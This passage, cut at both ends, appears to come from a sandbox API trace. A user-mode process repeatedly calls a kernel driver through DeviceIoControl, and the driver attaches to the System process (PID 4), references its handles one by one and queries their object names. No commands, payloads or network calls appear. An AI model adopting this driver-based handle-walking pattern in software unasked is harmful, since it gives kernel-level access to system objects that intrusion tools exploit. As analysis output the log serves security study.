Process=0xfffff880054f8558) returned 0x0 [0064.445] PsAcquireProcessExitSynchronization () returned 0x0 [0064.445] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.445] ObReferenceObjectByHandle (in: Handle=0xffffffff80000920, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0064.445] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.445] PsReleaseProcessExitSynchronization () returned 0x2 [0064.445] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.445] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.445] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.445] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.445] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1ec05e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0064.445] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.445] PsAcquireProcessExitSynchronization () returned 0x0 [0064.445] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.445] ObReferenceObjectByHandle (in: Handle=0xffffffff80000924, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0064.445] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.445] PsReleaseProcessExitSynchronization () returned 0x2 [0064.445] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.445] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.445] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.445] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.445] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.445] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.445] PsAcquireProcessExitSynchronization () returned 0x0 [0064.446] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.446] ObReferenceObjectByHandle (in: Handle=0xffffffff80000934, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800254d2f0, HandleInformation=0x0) returned 0x0 [0064.446] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.446] PsReleaseProcessExitSynchronization () returned 0x2 [0064.446] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.446] ObQueryNameString (in: Object=0xfffffa800254d2f0, ObjectNameInfo=0xfffffa80038e1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.446] ObfDereferenceObject (Object=0xfffffa800254d2f0) returned 0x2 [0064.446] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.446] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.446] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.446] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1ec05e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0064.446] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.446] PsAcquireProcessExitSynchronization () returned 0x0 [0064.446] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.446] ObReferenceObjectByHandle (in: Handle=0xffffffff80000938, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0064.446] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.446] PsReleaseProcessExitSynchronization () returned 0x2 [0064.446] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.446] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.446] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.446] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.446] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1ec05e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0064.446] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.446] PsAcquireProcessExitSynchronization () returned 0x0 [0064.446] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.446] ObReferenceObjectByHandle (in: Handle=0xffffffff8000093c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0064.446] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.446] PsReleaseProcessExitSynchronization () returned 0x2 [0064.446] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.446] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.446] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.446] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.446] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.446] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.447] PsAcquireProcessExitSynchronization () returned 0x0 [0064.447] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.447] ObReferenceObjectByHandle (in: Handle=0xffffffff8000094c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800200a7c0, HandleInformation=0x0) returned 0x0 [0064.447] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.447] PsReleaseProcessExitSynchronization () returned 0x2 [0064.447] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.447] ObQueryNameString (in: Object=0xfffffa800200a7c0, ObjectNameInfo=0xfffffa80038a7044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038a7044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.447] ObfDereferenceObject (Object=0xfffffa800200a7c0) returned 0x2 [0064.447] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.447] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.447] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.447] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1ec05e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0064.447] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.447] PsAcquireProcessExitSynchronization () returned 0x0 [0064.447] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.447] ObReferenceObjectByHandle (in: Handle=0xffffffff80000950, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0064.447] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.447] PsReleaseProcessExitSynchronization () returned 0x2 [0064.447] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.447] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.447] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.447] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.447] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1ec05e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0064.447] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.447] PsAcquireProcessExitSynchronization () returned 0x0 [0064.447] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.447] ObReferenceObjectByHandle (in: Handle=0xffffffff80000954, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0064.447] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.447] PsReleaseProcessExitSynchronization () returned 0x2 [0064.447] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.447] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.447] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.447] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.447] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.447] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.448] PsAcquireProcessExitSynchronization () returned 0x0 [0064.448] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.448] ObReferenceObjectByHandle (in: Handle=0xffffffff80000964, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003311490, HandleInformation=0x0) returned 0x0 [0064.448] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.448] PsReleaseProcessExitSynchronization () returned 0x2 [0064.448] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.448] ObQueryNameString (in: Object=0xfffffa8003311490, ObjectNameInfo=0xfffffa80038dc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038dc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.448] ObfDereferenceObject (Object=0xfffffa8003311490) returned 0x2 [0064.448] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.448] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.448] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.448] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.448] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.448] PsAcquireProcessExitSynchronization () returned 0x0 [0064.448] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.448] ObReferenceObjectByHandle (in: Handle=0xffffffff80000968, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003312a40, HandleInformation=0x0) returned 0x0 [0064.448] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.448] PsReleaseProcessExitSynchronization () returned 0x2 [0064.448] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.448] ObQueryNameString (in: Object=0xfffffa8003312a40, ObjectNameInfo=0xfffffa80038e8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.448] ObfDereferenceObject (Object=0xfffffa8003312a40) returned 0x2 [0064.448] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.448] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.448] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.448] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.448] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.448] PsAcquireProcessExitSynchronization () returned 0x0 [0064.448] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.448] ObReferenceObjectByHandle (in: Handle=0xffffffff8000096c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80033f3bf0, HandleInformation=0x0) returned 0x0 [0064.448] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.448] PsReleaseProcessExitSynchronization () returned 0x2 [0064.448] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.448] ObQueryNameString (in: Object=0xfffffa80033f3bf0, ObjectNameInfo=0xfffffa80037bc7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80037bc7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.448] ObfDereferenceObject (Object=0xfffffa80033f3bf0) returned 0x2 [0064.448] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.449] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.449] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.449] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.449] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.449] PsAcquireProcessExitSynchronization () returned 0x0 [0064.449] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.449] ObReferenceObjectByHandle (in: Handle=0xffffffff80000970, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80033f3830, HandleInformation=0x0) returned 0x0 [0064.449] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.449] PsReleaseProcessExitSynchronization () returned 0x2 [0064.449] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.449] ObQueryNameString (in: Object=0xfffffa80033f3830, ObjectNameInfo=0xfffffa80038f4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.449] ObfDereferenceObject (Object=0xfffffa80033f3830) returned 0x2 [0064.449] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.449] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.449] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.449] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.449] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.449] PsAcquireProcessExitSynchronization () returned 0x0 [0064.449] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.449] ObReferenceObjectByHandle (in: Handle=0xffffffff80000980, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80033f89a0, HandleInformation=0x0) returned 0x0 [0064.449] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.449] PsReleaseProcessExitSynchronization () returned 0x2 [0064.449] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.449] ObQueryNameString (in: Object=0xfffffa80033f89a0, ObjectNameInfo=0xfffffa80038db044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038db044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.449] ObfDereferenceObject (Object=0xfffffa80033f89a0) returned 0x2 [0064.449] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.449] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.449] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.449] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.449] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.449] PsAcquireProcessExitSynchronization () returned 0x0 [0064.449] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.449] ObReferenceObjectByHandle (in: Handle=0xffffffff80000984, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80033faf20, HandleInformation=0x0) returned 0x0 [0064.449] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.450] PsReleaseProcessExitSynchronization () returned 0x2 [0064.450] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.450] ObQueryNameString (in: Object=0xfffffa80033faf20, ObjectNameInfo=0xfffffa80038c7044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038c7044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.450] ObfDereferenceObject (Object=0xfffffa80033faf20) returned 0x2 [0064.450] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.450] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.450] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.450] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.450] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.450] PsAcquireProcessExitSynchronization () returned 0x0 [0064.450] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.450] ObReferenceObjectByHandle (in: Handle=0xffffffff80000988, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80033fab60, HandleInformation=0x0) returned 0x0 [0064.450] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.450] PsReleaseProcessExitSynchronization () returned 0x2 [0064.450] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.450] ObQueryNameString (in: Object=0xfffffa80033fab60, ObjectNameInfo=0xfffffa80038a7044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038a7044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.450] ObfDereferenceObject (Object=0xfffffa80033fab60) returned 0x2 [0064.450] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.450] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.450] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.450] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.450] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.450] PsAcquireProcessExitSynchronization () returned 0x0 [0064.450] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.450] ObReferenceObjectByHandle (in: Handle=0xffffffff80000998, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003421a20, HandleInformation=0x0) returned 0x0 [0064.450] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.450] PsReleaseProcessExitSynchronization () returned 0x2 [0064.450] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.450] ObQueryNameString (in: Object=0xfffffa8003421a20, ObjectNameInfo=0xfffffa8003902044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003902044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.450] ObfDereferenceObject (Object=0xfffffa8003421a20) returned 0x2 [0064.450] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.450] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.450] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.450] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.450] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.450] PsAcquireProcessExitSynchronization () returned 0x0 [0064.451] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.451] ObReferenceObjectByHandle (in: Handle=0xffffffff8000099c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003424050, HandleInformation=0x0) returned 0x0 [0064.451] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.451] PsReleaseProcessExitSynchronization () returned 0x2 [0064.451] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.451] ObQueryNameString (in: Object=0xfffffa8003424050, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, 